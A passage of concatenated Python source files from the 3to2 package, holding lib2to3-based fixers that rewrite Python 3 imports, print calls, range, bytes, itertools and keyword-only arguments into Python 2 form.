'HTTPPasswordMgrWithDefaultRealm', 'HTTPRedirectHandler', 'HTTPSHandler', 'OpenerDirector', 'ProxyBasicAuthHandler', 'ProxyDigestAuthHandler', 'ProxyHandler', 'Request', 'StringIO', 'URLError', 'UnknownHandler', 'addinfourl', 'build_opener', 'install_opener', 'parse_http_list', 'parse_keqv_list', 'randombytes', 'request_host', 'urlopen'), 'urllib' : ( 'ContentTooShortError', 'FancyURLopener','URLopener', 'basejoin', 'ftperrors', 'getproxies', 'getproxies_environment', 'localhost', 'pathname2url', 'quote', 'quote_plus', 'splitattr', 'splithost', 'splitnport', 'splitpasswd', 'splitport', 'splitquery', 'splittag', 'splittype', 'splituser', 'splitvalue', 'thishost', 'unquote', 'unquote_plus', 'unwrap', 'url2pathname', 'urlcleanup', 'urlencode', 'urlopen', 'urlretrieve',), 'urlparse' : ( 'parse_qs', 'parse_qsl', 'urldefrag', 'urljoin', 'urlparse', 'urlsplit', 'urlunparse', 'urlunsplit'), 'dbm' : ( 'ndbm', 'gnu', 'dumb'), 'anydbm' : ( 'error', 'open'), 'whichdb' : ( 'whichdb',), 'BaseHTTPServer' : ( 'BaseHTTPRequestHandler', 'HTTPServer'), 'CGIHTTPServer' : ( 'CGIHTTPRequestHandler',), 'SimpleHTTPServer' : ( 'SimpleHTTPRequestHandler',), 'FileDialog' : TK_BASE_NAMES + ( 'FileDialog', 'LoadFileDialog', 'SaveFileDialog', 'dialogstates', 'test'), 'tkFileDialog' : ( 'Directory', 'Open', 'SaveAs', '_Dialog', 'askdirectory', 'askopenfile', 'askopenfilename', 'askopenfilenames', 'askopenfiles', 'asksaveasfile', 'asksaveasfilename'), 'SimpleDialog' : TK_BASE_NAMES + ( 'SimpleDialog',), 'tkSimpleDialog' : TK_BASE_NAMES + ( 'askfloat', 'askinteger', 'askstring', 'Dialog'), 'SimpleXMLRPCServer' : ( 'CGIXMLRPCRequestHandler', 'SimpleXMLRPCDispatcher', 'SimpleXMLRPCRequestHandler', 'SimpleXMLRPCServer', 'list_public_methods', 'remove_duplicates', 'resolve_dotted_attribute'), 'DocXMLRPCServer' : ( 'DocCGIXMLRPCRequestHandler', 'DocXMLRPCRequestHandler', 'DocXMLRPCServer', 'ServerHTMLDoc','XMLRPCDocGenerator'), } MAPPING = { 'urllib.request' : ('urllib2', 'urllib'), 'urllib.error' : ('urllib2', 'urllib'), 'urllib.parse' : ('urllib2', 'urllib', 'urlparse'), 'dbm.__init__' : ('anydbm', 'whichdb'), 'http.server' : ('CGIHTTPServer', 'SimpleHTTPServer', 'BaseHTTPServer'), 'tkinter.filedialog' : ('tkFileDialog', 'FileDialog'), 'tkinter.simpledialog' : ('tkSimpleDialog', 'SimpleDialog'), 'xmlrpc.server' : ('DocXMLRPCServer', 'SimpleXMLRPCServer'), } # helps match 'http', as in 'from http.server import ...' simple_name = "name='%s'" # helps match 'server', as in 'from http.server import ...' simple_attr = "attr='%s'" # helps match 'HTTPServer', as in 'from http.server import HTTPServer' simple_using = "using='%s'" # helps match 'urllib.request', as in 'import urllib.request' dotted_name = "dotted_name=dotted_name< %s '.' %s >" # helps match 'http.server', as in 'http.server.HTTPServer(...)' power_twoname = "pow=power< %s trailer< '.' %s > trailer< '.' using=any > any* >" # helps match 'dbm.whichdb', as in 'dbm.whichdb(...)' power_onename = "pow=power< %s trailer< '.' using=any > any* >" # helps match 'from http.server import HTTPServer' # also helps match 'from http.server import HTTPServer, SimpleHTTPRequestHandler' # also helps match 'from http.server import *' from_import = "from_import=import_from< 'from' %s 'import' (import_as_name< using=any 'as' renamed=any> | in_list=import_as_names< using=any* > | using='*' | using=NAME) >" # helps match 'import urllib.request' name_import = "name_import=import_name< 'import' (%s | in_list=dotted_as_names< imp_list=any* >) >" ############# # WON'T FIX # ############# # helps match 'import urllib.request as name' name_import_rename = "name_import_rename=dotted_as_name< %s 'as' renamed=any >" # helps match 'from http import server' from_import_rename = "from_import_rename=import_from< 'from' %s 'import' (%s | import_as_name< %s 'as' renamed=any > | in_list=import_as_names< any* (%s | import_as_name< %s 'as' renamed=any >) any* >) >" def all_modules_subpattern(): """ Builds a pattern for all toplevel names (urllib, http, etc) """ names_dot_attrs = [mod.split(".") for mod in MAPPING] ret = "( " + " | ".join([dotted_name % (simple_name % (mod[0]), simple_attr % (mod[1])) for mod in names_dot_attrs]) ret += " | " ret += " | ".join([simple_name % (mod[0]) for mod in names_dot_attrs if mod[1] == "__init__"]) + " )" return ret def all_candidates(name, attr, MAPPING=MAPPING): """ Returns all candidate packages for the name.attr """ dotted = name + '.' + attr assert dotted in MAPPING, "No matching package found." ret = MAPPING[dotted] if attr == '__init__': return ret + (name,) return ret def new_package(name, attr, using, MAPPING=MAPPING, PY2MODULES=PY2MODULES): """ Returns which candidate package for name.attr provides using """ for candidate in all_candidates(name, attr, MAPPING): if using in PY2MODULES[candidate]: break else: candidate = None return candidate def build_import_pattern(mapping1, mapping2): """ mapping1: A dict mapping py3k modules to all possible py2k replacements mapping2: A dict mapping py2k modules to the things they do This builds a HUGE pattern to match all ways that things can be imported """ # py3k: urllib.request, py2k: ('urllib2', 'urllib') yield from_import % (all_modules_subpattern()) for py3k, py2k in mapping1.items(): name, attr = py3k.split('.') s_name = simple_name % (name) s_attr = simple_attr % (attr) d_name = dotted_name % (s_name, s_attr) yield name_import % (d_name) yield power_twoname % (s_name, s_attr) if attr == '__init__': yield name_import % (s_name) yield power_onename % (s_name) yield name_import_rename % (d_name) yield from_import_rename % (s_name, s_attr, s_attr, s_attr, s_attr) def name_import_replacement(name, attr): children = [Name("import")] for c in all_candidates(name.value, attr.value): children.append(Name(c, prefix=" ")) children.append(Comma()) children.pop() replacement = Node(syms.import_name, children) return replacement class FixImports2(fixer_base.BaseFix): run_order = 4 PATTERN = " | \n".join(build_import_pattern(MAPPING, PY2MODULES)) def transform(self, node, results): # The patterns dictate which of these names will be defined name = results.get("name") attr = results.get("attr") if attr is None: attr = Name("__init__") using = results.get("using") in_list = results.get("in_list") imp_list = results.get("imp_list") power = results.get("pow") before = results.get("before") after = results.get("after") d_name = results.get("dotted_name") # An import_stmt is always contained within a simple_stmt simple_stmt = node.parent # The parent is useful for adding new import_stmts parent = simple_stmt.parent idx = parent.children.index(simple_stmt) if any((results.get("from_import_rename") is not None, results.get("name_import_rename") is not None)): self.cannot_convert(node, reason="ambiguity: import binds a single name") elif using is None and not in_list: # import urllib.request, single-name import replacement = name_import_replacement(name, attr) replacement.prefix = node.prefix node.replace(replacement) elif using is None: # import ..., urllib.request, math, http.sever, ... for d_name in imp_list: if d_name.type == syms.dotted_name: name = d_name.children[0] attr = d_name.children[2] elif d_name.type == token.NAME and d_name.value + ".__init__" in MAPPING: name = d_name attr = Name("__init__") else: continue if name.value + "." + attr.value not in MAPPING: continue candidates = all_candidates(name.value, attr.value) children = [Name("import")] for c in candidates: children.append(Name(c, prefix=" ")) children.append(Comma()) children.pop() # Put in the new statement. indent = indentation(simple_stmt) next_stmt = Node(syms.simple_stmt, [Node(syms.import_name, children), Newline()]) parent.insert_child(idx+1, next_stmt) parent.insert_child(idx+1, Leaf(token.INDENT, indent)) # Remove the old imported name test_comma = d_name.next_sibling if test_comma and test_comma.type == token.COMMA: test_comma.remove() elif test_comma is None: test_comma = d_name.prev_sibling if test_comma and test_comma.type == token.COMMA: test_comma.remove() d_name.remove() if not in_list.children: simple_stmt.remove() elif in_list is not None: ########################################################## # "from urllib.request import urlopen, urlretrieve, ..." # # Replace one import statement with potentially many. # ########################################################## packages = dict([(n,[]) for n in all_candidates(name.value, attr.value)]) # Figure out what names need to be imported from what # Add them to a dict to be parsed once we're completely done for imported in using: if imported.type == token.COMMA: continue if imported.type == syms.import_as_name: test_name = imported.children[0].value if len(imported.children) > 2: # 'as' whatever rename = imported.children[2].value else: rename = None elif imported.type == token.NAME: test_name = imported.value rename = None pkg = new_package(name.value, attr.value, test_name) packages[pkg].append((test_name, rename)) # Parse the dict to create new import statements to replace this one imports = [] for new_pkg, names in packages.items(): if not names: # Didn't import anything from that package, move along continue new_names = [] for test_name, rename in names: if rename is None: new_names.append(Name(test_name, prefix=" ")) else: new_names.append(ImportAsName(test_name, rename, prefix=" ")) new_names.append(Comma()) new_names.pop() imports.append(FromImport(new_pkg, new_names)) # Replace this import statement with one of the others replacement = imports.pop() replacement.prefix = node.prefix node.replace(replacement) indent = indentation(simple_stmt) # Add the remainder of the imports as new statements. while imports: next_stmt = Node(syms.simple_stmt, [imports.pop(), Newline()]) parent.insert_child(idx+1, next_stmt) parent.insert_child(idx+1, Leaf(token.INDENT, indent)) elif using.type == token.STAR: # from urllib.request import * nodes = [FromImport(pkg, [Star(prefix=" ")]) for pkg in all_candidates(name.value, attr.value)] replacement = nodes.pop() replacement.prefix = node.prefix node.replace(replacement) indent = indentation(simple_stmt) while nodes: next_stmt = Node(syms.simple_stmt, [nodes.pop(), Newline()]) parent.insert_child(idx+1, next_stmt) parent.insert_child(idx+1, Leaf(token.INDENT, indent)) elif power is not None: # urllib.request.urlopen # Replace it with urllib2.urlopen pkg = new_package(name.value, attr.value, using.value) # Remove the trailer node that contains attr. if attr.parent: attr.parent.remove() name.replace(Name(pkg, prefix=name.prefix)) elif using.type == token.NAME: # from urllib.request import urlopen pkg = new_package(name.value, attr.value, using.value) if attr.value == "__init__" and pkg == name.value: # Replacing "from abc import xyz" with "from abc import xyz" # Just leave it alone so as not to mess with other fixers return else: node.replace(FromImport(pkg, [using]))
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/imports2_fix_alt_formatting.py
imports2_fix_alt_formatting.py
""" Fixer for: map -> itertools.imap filter -> itertools.ifilter zip -> itertools.izip itertools.filterfalse -> itertools.ifilterfalse """ from lib2to3 import fixer_base from lib2to3.pytree import Node from lib2to3.fixer_util import touch_import, is_probably_builtin class FixItertools(fixer_base.BaseFix): PATTERN = """ power< names=('map' | 'filter' | 'zip') any*> | import_from< 'from' 'itertools' 'import' imports=any > | power< 'itertools' trailer< '.' f='filterfalse' any* > > | power< f='filterfalse' any* > any* """ def transform(self, node, results): syms = self.syms imports = results.get("imports") f = results.get("f") names = results.get("names") if imports: if imports.type == syms.import_as_name or not imports.children: children = [imports] else: children = imports.children for child in children[::2]: if isinstance(child, Node): for kid in child.children: if kid.value == "filterfalse": kid.changed() kid.value = "ifilterfalse" break elif child.value == "filterfalse": child.changed() child.value = "ifilterfalse" break elif names: for name in names: if is_probably_builtin(name): name.value = "i" + name.value touch_import("itertools", name.value, node) elif f: f.changed() f.value = "ifilterfalse"
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_itertools.py
fix_itertools.py
""" Fixer for os.getcwd() -> os.getcwdu(). Also warns about "from os import getcwd", suggesting the above form. """ from lib2to3 import fixer_base from lib2to3.fixer_util import Name class FixGetcwd(fixer_base.BaseFix): PATTERN = """ power< 'os' trailer< dot='.' name='getcwd' > any* > | import_from< 'from' 'os' 'import' bad='getcwd' > """ def transform(self, node, results): if "name" in results: name = results["name"] name.replace(Name("getcwdu", prefix=name.prefix)) elif "bad" in results: # Can't convert to getcwdu and then expect to catch every use. self.cannot_convert(node, "import os, use os.getcwd() instead.") return else: raise ValueError("For some reason, the pattern matcher failed.")
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_getcwd.py
fix_getcwd.py
""" Fixer for standard library imports renamed in Python 3 """ from lib2to3 import fixer_base from lib2to3.fixer_util import Name, is_probably_builtin, Newline, does_tree_import from lib2to3.pygram import python_symbols as syms from lib2to3.pgen2 import token from lib2to3.pytree import Node, Leaf from ..fixer_util import NameImport # used in simple_mapping_to_pattern() MAPPING = {"reprlib": "repr", "winreg": "_winreg", "configparser": "ConfigParser", "copyreg": "copy_reg", "queue": "Queue", "socketserver": "SocketServer", "_markupbase": "markupbase", "test.support": "test.test_support", "dbm.bsd": "dbhash", "dbm.ndbm": "dbm", "dbm.dumb": "dumbdbm", "dbm.gnu": "gdbm", "html.parser": "HTMLParser", "html.entities": "htmlentitydefs", "http.client": "httplib", "http.cookies": "Cookie", "http.cookiejar": "cookielib", "tkinter": "Tkinter", "tkinter.dialog": "Dialog", "tkinter._fix": "FixTk", "tkinter.scrolledtext": "ScrolledText", "tkinter.tix": "Tix", "tkinter.constants": "Tkconstants", "tkinter.dnd": "Tkdnd", "tkinter.__init__": "Tkinter", "tkinter.colorchooser": "tkColorChooser", "tkinter.commondialog": "tkCommonDialog", "tkinter.font": "tkFont", "tkinter.messagebox": "tkMessageBox", "tkinter.turtle": "turtle", "urllib.robotparser": "robotparser", "xmlrpc.client": "xmlrpclib", "builtins": "__builtin__", } # generic strings to help build patterns # these variables mean (with http.client.HTTPConnection as an example): # name = http # attr = client # used = HTTPConnection # fmt_name is a formatted subpattern (simple_name_match or dotted_name_match) # helps match 'queue', as in 'from queue import ...' simple_name_match = "name='{name}'" # helps match 'client', to be used if client has been imported from http subname_match = "attr='{attr}'" # helps match 'http.client', as in 'import urllib.request' dotted_name_match = "dotted_name=dotted_name< {fmt_name} '.' {fmt_attr} >" # helps match 'queue', as in 'queue.Queue(...)' power_onename_match = "{fmt_name}" # helps match 'http.client', as in 'http.client.HTTPConnection(...)' power_twoname_match = "power< {fmt_name} trailer< '.' {fmt_attr} > any* >" # helps match 'client.HTTPConnection', if 'client' has been imported from http power_subname_match = "power< {fmt_attr} any* >" # helps match 'from http.client import HTTPConnection' from_import_match = "from_import=import_from< 'from' {fmt_name} 'import' ['('] imported=any [')'] >" # helps match 'from http import client' from_import_submod_match = "from_import_submod=import_from< 'from' {fmt_name} 'import' ({fmt_attr} | import_as_name< {fmt_attr} 'as' renamed=any > | import_as_names< any* ({fmt_attr} | import_as_name< {fmt_attr} 'as' renamed=any >) any* > ) >" # helps match 'import urllib.request' name_import_match = "name_import=import_name< 'import' {fmt_name} > | name_import=import_name< 'import' dotted_as_name< {fmt_name} 'as' renamed=any > >" # helps match 'import http.client, winreg' multiple_name_import_match = "name_import=import_name< 'import' dotted_as_names< names=any* > >" def all_patterns(name): """ Accepts a string and returns a pattern of possible patterns involving that name Called by simple_mapping_to_pattern for each name in the mapping it receives. """ # i_ denotes an import-like node # u_ denotes a node that appears to be a usage of the name if '.' in name: name, attr = name.split('.', 1) simple_name = simple_name_match.format(name=name) simple_attr = subname_match.format(attr=attr) dotted_name = dotted_name_match.format(fmt_name=simple_name, fmt_attr=simple_attr) i_from = from_import_match.format(fmt_name=dotted_name) i_from_submod = from_import_submod_match.format(fmt_name=simple_name, fmt_attr=simple_attr) i_name = name_import_match.format(fmt_name=dotted_name) u_name = power_twoname_match.format(fmt_name=simple_name, fmt_attr=simple_attr) u_subname = power_subname_match.format(fmt_attr=simple_attr) return ' | \n'.join((i_name, i_from, i_from_submod, u_name, u_subname)) else: simple_name = simple_name_match.format(name=name) i_name = name_import_match.format(fmt_name=simple_name) i_from = from_import_match.format(fmt_name=simple_name) u_name = power_onename_match.format(fmt_name=simple_name) return ' | \n'.join((i_name, i_from, u_name)) class FixImports(fixer_base.BaseFix): order = "pre" PATTERN = ' | \n'.join([all_patterns(name) for name in MAPPING]) PATTERN = ' | \n'.join((PATTERN, multiple_name_import_match)) def fix_dotted_name(self, node, mapping=MAPPING): """ Accepts either a DottedName node or a power node with a trailer. If mapping is given, use it; otherwise use our MAPPING Returns a node that can be in-place replaced by the node given """ if node.type == syms.dotted_name: _name = node.children[0] _attr = node.children[2] elif node.type == syms.power: _name = node.children[0] _attr = node.children[1].children[1] name = _name.value attr = _attr.value full_name = name + '.' + attr if not full_name in mapping: return to_repl = mapping[full_name] if '.' in to_repl: repl_name, repl_attr = to_repl.split('.') _name.replace(Name(repl_name, prefix=_name.prefix)) _attr.replace(Name(repl_attr, prefix=_attr.prefix)) elif node.type == syms.dotted_name: node.replace(Name(to_repl, prefix=node.prefix)) elif node.type == syms.power: _name.replace(Name(to_repl, prefix=_name.prefix)) parent = _attr.parent _attr.remove() parent.remove() def fix_simple_name(self, node, mapping=MAPPING): """ Accepts a Name leaf. If mapping is given, use it; otherwise use our MAPPING Returns a node that can be in-place replaced by the node given """ assert node.type == token.NAME, repr(node) if not node.value in mapping: return replacement = mapping[node.value] node.replace(Leaf(token.NAME, str(replacement), prefix=node.prefix)) def fix_submod_import(self, imported, name, node): """ Accepts a list of NAME leafs, a name string, and a node node is given as an argument to BaseFix.transform() NAME leafs come from an import_as_names node (the children) name string is the base name found in node. """ submods = [] missed = [] for attr in imported: dotted = '.'.join((name, attr.value)) if dotted in MAPPING: # get the replacement module to_repl = MAPPING[dotted] if '.' not in to_repl: # it's a simple name, so use a simple replacement. _import = NameImport(Name(to_repl, prefix=" "), attr.value) submods.append(_import) elif attr.type == token.NAME: missed.append(attr.clone()) if not submods: return parent = node.parent node.replace(submods[0]) if len(submods) > 1: start = submods.pop(0) prev = start for submod in submods: parent.append_child(submod) if missed: self.warning(node, "Imported names not known to 3to2 to be part of the package {0}. Leaving those alone... high probability that this code will be incorrect.".format(name)) children = [Name("from"), Name(name, prefix=" "), Name("import", prefix=" "), Node(syms.import_as_names, missed)] orig_stripped = Node(syms.import_from, children) parent.append_child(Newline()) parent.append_child(orig_stripped) def get_dotted_import_replacement(self, name_node, attr_node, mapping=MAPPING, renamed=None): """ For (http, client) given and httplib being the correct replacement, returns (httplib as client, None) For (test, support) given and test.test_support being the replacement, returns (test, test_support as support) """ full_name = name_node.value + '.' + attr_node.value replacement = mapping[full_name] if '.' in replacement: new_name, new_attr = replacement.split('.') if renamed is None: return Name(new_name, prefix=name_node.prefix), Node(syms.dotted_as_name, [Name(new_attr, prefix=attr_node.prefix), Name('as', prefix=" "), attr_node.clone()]) else: return Name(new_name, prefix=name_node.prefix), Name(new_attr, prefix=attr_node.prefix) else: return Node(syms.dotted_as_name, [Name(replacement, prefix=name_node.prefix), Name('as', prefix=' '), Name(attr_node.value, prefix=attr_node.prefix)]), None def transform(self, node, results): from_import = results.get("from_import") from_import_submod = results.get("from_import_submod") name_import = results.get("name_import") dotted_name = results.get("dotted_name") name = results.get("name") names = results.get("names") attr = results.get("attr") imported = results.get("imported") if names: for name in names: if name.type == token.NAME: self.fix_simple_name(name) elif name.type == syms.dotted_as_name: self.fix_simple_name(name.children[0]) if name.children[0].type == token.NAME else \ self.fix_dotted_name(name.children[0]) elif name.type == syms.dotted_name: self.fix_dotted_name(name) elif from_import_submod: renamed = results.get("renamed") new_name, new_attr = self.get_dotted_import_replacement(name, attr, renamed=renamed) if new_attr is not None: name.replace(new_name) attr.replace(new_attr) else: children = [Name("import"), new_name] node.replace(Node(syms.import_name, children, prefix=node.prefix)) elif dotted_name: self.fix_dotted_name(dotted_name) elif name_import or from_import: self.fix_simple_name(name) elif name and not attr: if does_tree_import(None, MAPPING[name.value], node) and \ is_probably_builtin(name): self.fix_simple_name(name) elif name and attr: # Note that this will fix a dotted name that was never imported. This will probably not matter. self.fix_dotted_name(node) elif imported and imported.type == syms.import_as_names: self.fix_submod_import(imported=imported.children, node=node, name=name.value)
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_imports.py
fix_imports.py
""" Fixer for print function to print statement print(spam,ham,eggs,sep=sep,end=end,file=file) -> print >>file, sep.join((str(spam),str(ham),str(eggs))),; file.write(end) in the most complicated case. Simpler cases: print() -> print print("spam") -> print "spam" print(1,2,3) -> print 1,2,3 print(1,2,3,end=" ") -> print 1,2,3, print(1,2,3,end="") -> print 1,2,3,; sys.stdout.write("") print(1,2,3,file=file) -> print >>file, 1,2,3 print(1,2,3,sep=" ",end="\n") -> print 1,2,3 """ from __future__ import with_statement # Aiming for 2.5-compatible code from lib2to3 import fixer_base from lib2to3.pytree import Node, Leaf from lib2to3.pygram import python_symbols as syms, token from lib2to3.fixer_util import (Name, FromImport, Newline, Call, Comma, Dot, LParen, RParen, touch_import) import warnings import sys def gen_printargs(lst): """ Accepts a list of all nodes in the print call's trailer. Yields nodes that will be easier to deal with """ for node in lst: if node.type == syms.arglist: # arglist<pos=any* kwargs=(argument<"file"|"sep"|"end" "=" any>*)> kids = node.children it = kids.__iter__() try: while True: arg = next(it) if arg.type == syms.argument: # argument < "file"|"sep"|"end" "=" (any) > yield arg next(it) else: yield arg next(it) except StopIteration: continue else: yield node def isNone(arg): """ Returns True if arg is a None node """ return arg.type == token.NAME and arg.value == "None" def _unicode(arg): """ Calls unicode() on the arg in the node. """ prefix = arg.prefix arg = arg.clone() arg.prefix = "" ret = Call(Name("unicode", prefix=prefix), [arg]) return ret def add_file_part(file, lst): if file is None or isNone(file): return lst.append(Leaf(token.RIGHTSHIFT, ">>", prefix=" ")) lst.append(file.clone()) lst.append(Comma()) def add_sep_part(sep, pos, lst): if sep is not None and not isNone(sep) and \ not (sep.type == token.STRING and sep.value in ("' '", '" "')): temp = [] for arg in pos: temp.append(_unicode(arg.clone())) if sys.version_info >= (2, 6): warnings.warn("Calling unicode() on what may be a bytes object") temp.append(Comma()) del temp[-1] sep = sep.clone() sep.prefix = " " args = Node(syms.listmaker, temp) new_list = Node(syms.atom, [Leaf(token.LSQB, "["), args, Leaf(token.RSQB, "]")]) join_arg = Node(syms.trailer, [LParen(), new_list, RParen()]) sep_join = Node(syms.power, [sep, Node(syms.trailer, [Dot(), Name("join")])]) lst.append(sep_join) lst.append(join_arg) else: if pos: pos[0].prefix = " " for arg in pos: lst.append(arg.clone()) lst.append(Comma()) del lst[-1] def add_end_part(end, file, parent, loc): if isNone(end): return if end.type == token.STRING and end.value in ("' '", '" "', "u' '", 'u" "', "b' '", 'b" "'): return if file is None: touch_import(None, "sys", parent) file = Node(syms.power, [Name("sys"), Node(syms.trailer, [Dot(), Name("stdout")])]) end_part = Node(syms.power, [file, Node(syms.trailer, [Dot(), Name("write")]), Node(syms.trailer, [LParen(), end, RParen()])]) end_part.prefix = " " parent.insert_child(loc, Leaf(token.SEMI, ";")) parent.insert_child(loc+1, end_part) def replace_print(pos, opts, old_node=None): """ Replace old_node with a new statement. Also hacks in the "end" functionality. """ new_node = new_print(*pos, **opts) end = None if "end" not in opts else opts["end"].clone() file = None if "file" not in opts else opts["file"].clone() if old_node is None: parent = Node(syms.simple_stmt, [Leaf(token.NEWLINE, "\n")]) i = 0 else: parent = old_node.parent i = old_node.remove() parent.insert_child(i, new_node) if end is not None and not (end.type == token.STRING and \ end.value in ("'\\n'", '"\\n"')): add_end_part(end, file, parent, i+1) return new_node def new_print(*pos, **opts): """ Constructs a new print_stmt node args is all positional arguments passed to print() kwargs contains zero or more of the following mappings: 'sep': some string 'file': some file-like object that supports the write() method 'end': some string """ children = [Name("print")] sep = None if "sep" not in opts else opts["sep"] file = None if "file" not in opts else opts["file"] end = None if "end" not in opts else opts["end"] add_file_part(file, children) add_sep_part(sep, pos, children) if end is not None and not isNone(end): if not end.value in ('"\\n"', "'\\n'"): children.append(Comma()) return Node(syms.print_stmt, children) def map_printargs(args): """ Accepts a list of all nodes in the print call's trailer. Returns {'pos':[all,pos,args], 'sep':sep, 'end':end, 'file':file} """ printargs = [arg for arg in gen_printargs(args)] mapping = {} pos = [] for arg in printargs: if arg.type == syms.argument: kids = arg.children assert kids[0].type == token.NAME, repr(arg) assert len(kids) > 1, repr(arg) assert str(kids[0].value) in ("sep", "end", "file") assert str(kids[0].value) not in mapping, mapping mapping[str(kids[0].value)] = kids[2] elif arg.type == token.STAR: return (None, None) else: pos.append(arg) return (pos, mapping) class FixPrint(fixer_base.BaseFix): PATTERN = """ power< 'print' parens=trailer < '(' args=any* ')' > any* > """ def match(self, node): """ Since the tree needs to be fixed once and only once if and only if it matches, then we can start discarding matches after we make the first. """ return super(FixPrint,self).match(node) def transform(self, node, results): args = results.get("args") if not args: parens = results.get("parens") parens.remove() return pos, opts = map_printargs(args) if pos is None or opts is None: self.cannot_convert(node, "-fprint does not support argument unpacking. fix using -xprint and then again with -fprintfunction.") return if "file" in opts and \ "end" in opts and \ opts["file"].type != token.NAME: self.warning(opts["file"], "file is not a variable name; "\ "print fixer suggests to bind the file to a variable "\ "name first before passing it to print function") try: with warnings.catch_warnings(record=True) as w: new_node = replace_print(pos, opts, old_node=node) if len(w) > 0: self.warning(node, "coercing to unicode even though this may be a bytes object") except AttributeError: # Python 2.5 doesn't have warnings.catch_warnings, so we're in Python 2.5 code here... new_node = replace_print(pos, dict([(bytes(k), opts[k]) for k in opts]), old_node=node) new_node.prefix = node.prefix
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_print.py
fix_print.py
""" Fixer for print: from __future__ import print_function. """ from lib2to3 import fixer_base from lib3to2.fixer_util import future_import class FixPrintfunction(fixer_base.BaseFix): explicit = True # Not the preferred way to fix print PATTERN = """ power< 'print' trailer < '(' any* ')' > any* > """ def transform(self, node, results): future_import("print_function", node)
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_printfunction.py
fix_printfunction.py
""" Fixer for: range(s) -> xrange(s) list(range(s)) -> range(s) """ from lib2to3 import fixer_base from lib2to3.fixer_util import Name, is_probably_builtin from lib2to3.pygram import python_symbols as syms import token def list_called(node): """ Returns the power node that contains list as its first child if node is contained in a list() call, otherwise False. """ parent = node.parent if parent is not None and parent.type == syms.trailer: prev = parent.prev_sibling if prev is not None and \ prev.type == token.NAME and \ prev.value == "list" and \ is_probably_builtin(prev): return prev.parent return False class FixRange(fixer_base.BaseFix): PATTERN = """ power< name='range' trailer< '(' any ')' > > """ def transform(self, node, results): name = results["name"] if not is_probably_builtin(name): return list_call = list_called(node) if list_call: new_node = node.clone() new_node.prefix = list_call.prefix parent = list_call.parent i = list_call.remove() for after in list_call.children[2:]: new_node.append_child(after) parent.insert_child(i, new_node) else: name.replace(Name("xrange", prefix=name.prefix))
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_range.py
fix_range.py
""" Fixer for bytes -> str. """ import re from lib2to3 import fixer_base from lib2to3.patcomp import compile_pattern from ..fixer_util import Name, token, syms, parse_args, Call, Comma _literal_re = re.compile(r"[bB][rR]?[\'\"]") class FixBytes(fixer_base.BaseFix): order = "pre" PATTERN = "STRING | power< 'bytes' [trailer< '(' (args=arglist | any*) ')' >] > | 'bytes'" def transform(self, node, results): name = results.get("name") arglist = results.get("args") if node.type == token.NAME: return Name("str", prefix=node.prefix) elif node.type == token.STRING: if _literal_re.match(node.value): new = node.clone() new.value = new.value[1:] return new if arglist is not None: args = arglist.children parsed = parse_args(args, ("source", "encoding", "errors")) source, encoding, errors = (parsed[v] for v in ("source", "encoding", "errors")) encoding.prefix = "" str_call = Call(Name("str"), ([source.clone()])) if errors is None: node.replace(Call(Name(str(str_call) + ".encode"), (encoding.clone(),))) else: errors.prefix = " " node.replace(Call(Name(str(str_call) + ".encode"), (encoding.clone(), Comma(), errors.clone())))
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_bytes.py
fix_bytes.py
""" Fixer for Python 3 function parameter syntax This fixer is rather sensitive to incorrect py3k syntax. """ # Note: "relevant" parameters are parameters following the first STAR in the list. from lib2to3 import fixer_base from ..fixer_util import token, indentation, suitify, String, Newline, Comma, DoubleStar, Name _assign_template = "%(name)s = %(kwargs)s['%(name)s']; del %(kwargs)s['%(name)s']" _if_template = "if '%(name)s' in %(kwargs)s: %(assign)s" _else_template = "else: %(name)s = %(default)s" _kwargs_default_name = "_3to2kwargs" def gen_params(raw_params): """ Generator that yields tuples of (name, default_value) for each parameter in the list If no default is given, then it is default_value is None (not Leaf(token.NAME, 'None')) """ assert raw_params[0].type == token.STAR and len(raw_params) > 2 curr_idx = 2 # the first place a keyword-only parameter name can be is index 2 max_idx = len(raw_params) while curr_idx < max_idx: curr_item = raw_params[curr_idx] prev_item = curr_item.prev_sibling if curr_item.type != token.NAME: curr_idx += 1 continue if prev_item is not None and prev_item.type == token.DOUBLESTAR: break name = curr_item.value nxt = curr_item.next_sibling if nxt is not None and nxt.type == token.EQUAL: default_value = nxt.next_sibling curr_idx += 2 else: default_value = None yield (name, default_value) curr_idx += 1 def remove_params(raw_params, kwargs_default=_kwargs_default_name): """ Removes all keyword-only args from the params list and a bare star, if any. Does not add the kwargs dict if needed. Returns True if more action is needed, False if not (more action is needed if no kwargs dict exists) """ assert raw_params[0].type == token.STAR if raw_params[1].type == token.COMMA: raw_params[0].remove() raw_params[1].remove() kw_params = raw_params[2:] else: kw_params = raw_params[3:] for param in kw_params: if param.type != token.DOUBLESTAR: param.remove() else: return False else: return True def needs_fixing(raw_params, kwargs_default=_kwargs_default_name): """ Returns string with the name of the kwargs dict if the params after the first star need fixing Otherwise returns empty string """ found_kwargs = False needs_fix = False for t in raw_params[2:]: if t.type == token.COMMA: # Commas are irrelevant at this stage. continue elif t.type == token.NAME and not found_kwargs: # Keyword-only argument: definitely need to fix. needs_fix = True elif t.type == token.NAME and found_kwargs: # Return 'foobar' of **foobar, if needed. return t.value if needs_fix else '' elif t.type == token.DOUBLESTAR: # Found either '*' from **foobar. found_kwargs = True else: # Never found **foobar. Return a synthetic name, if needed. return kwargs_default if needs_fix else '' class FixKwargs(fixer_base.BaseFix): run_order = 7 # Run after function annotations are removed PATTERN = "funcdef< 'def' NAME parameters< '(' arglist=typedargslist< params=any* > ')' > ':' suite=any >" def transform(self, node, results): params_rawlist = results["params"] for i, item in enumerate(params_rawlist): if item.type == token.STAR: params_rawlist = params_rawlist[i:] break else: return # params is guaranteed to be a list starting with *. # if fixing is needed, there will be at least 3 items in this list: # [STAR, COMMA, NAME] is the minimum that we need to worry about. new_kwargs = needs_fixing(params_rawlist) # new_kwargs is the name of the kwargs dictionary. if not new_kwargs: return suitify(node) # At this point, params_rawlist is guaranteed to be a list # beginning with a star that includes at least one keyword-only param # e.g., 